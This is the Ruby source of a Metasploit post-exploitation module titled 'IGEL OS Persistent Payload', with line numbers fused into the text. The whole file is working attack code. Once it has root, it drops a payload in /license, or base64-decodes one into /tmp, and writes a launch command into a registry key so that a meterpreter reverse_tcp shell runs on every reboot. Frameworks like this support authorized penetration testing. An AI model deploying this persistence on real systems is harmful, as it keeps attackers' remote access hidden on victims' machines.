Path: blob/master/modules/exploits/linux/persistence/igel_persistence.rb
27907 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6include Msf::Post::Linux7include Msf::Post::Linux::System8include Msf::Post::Unix9include Msf::Post::File10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE12include Msf::Exploit::Local::Persistence1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'IGEL OS Persistent Payload',19'Description' => %q{20Gain persistence for specified payload on IGEL OS Workspace Edition, by writing21a payload to disk or base64-encoding and executing from registry.22},23'Author' => 'Zack Didcott',24'License' => MSF_LICENSE,25'Platform' => ['linux'],26'Arch' => [ARCH_CMD, ARCH_X64],27'Targets' => [28[29'Linux Command', {30'Arch' => [ARCH_CMD],31'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' },32'Type' => :nix_cmd33}34],35[36'Linux Dropper', {37'Arch' => [ARCH_X64],38'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },39'Type' => :linux_dropper40}41],42],43'DefaultTarget' => 0,44'SessionTypes' => ['shell', 'meterpreter'],45'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date46'Notes' => {47'Stability' => [CRASH_SAFE],48'Reliability' => [REPEATABLE_SESSION],49'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]50}51)52)5354register_options([55OptString.new('REGISTRY_KEY', [56true,57'Registry key to use for automatically executing payload',58'userinterface.rccustom.custom_cmd_net_final'59]),60OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']),61OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false])62])63end6465def validate66unless is_root?67fail_with(Failure::NoAccess, 'Session does not have root access')68end69end7071def install_persistence72validate7374case target['Type']75when :nix_cmd76command = payload.encoded77when :linux_dropper78if datastore['REGISTRY_ONLY']79print_status('Base64-encoding payload')80encoded_payload = Rex::Text.encode_base64(generate_payload_exe)81command = base64_command(encoded_payload)82else83print_status("Uploading payload to #{datastore['TARGET_DIR']}")84payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700)85command = local_command(payload_file)86end87end8889print_status('Writing persistence to registry')90write_registry(datastore['REGISTRY_KEY'], command)91if get_registry(datastore['REGISTRY_KEY']) != command92fail_with(Failure::Unknown, 'Failed to write to registry')93else94print_status('Registry written successfully')95print_status('The payload should be executed when the target reboots')96end97end9899def remount_license(opt = 'rw')100create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license'])101end102103def write_payload(contents, dir, perm)104remount_license('rw')105106filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"107write_file(filepath, contents)108chmod(filepath, perm)109110remount_license('ro')111112return filepath113end114115def base64_command(encoded_payload)116payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}"117"/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'"118end119120def local_command(payload_file)121command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'"122return command123end124125def get_registry(key)126create_process('/bin/get', args: [key])127end128129def write_registry(key, value)130create_process('/bin/setparam', args: [key, value])131end132end133134135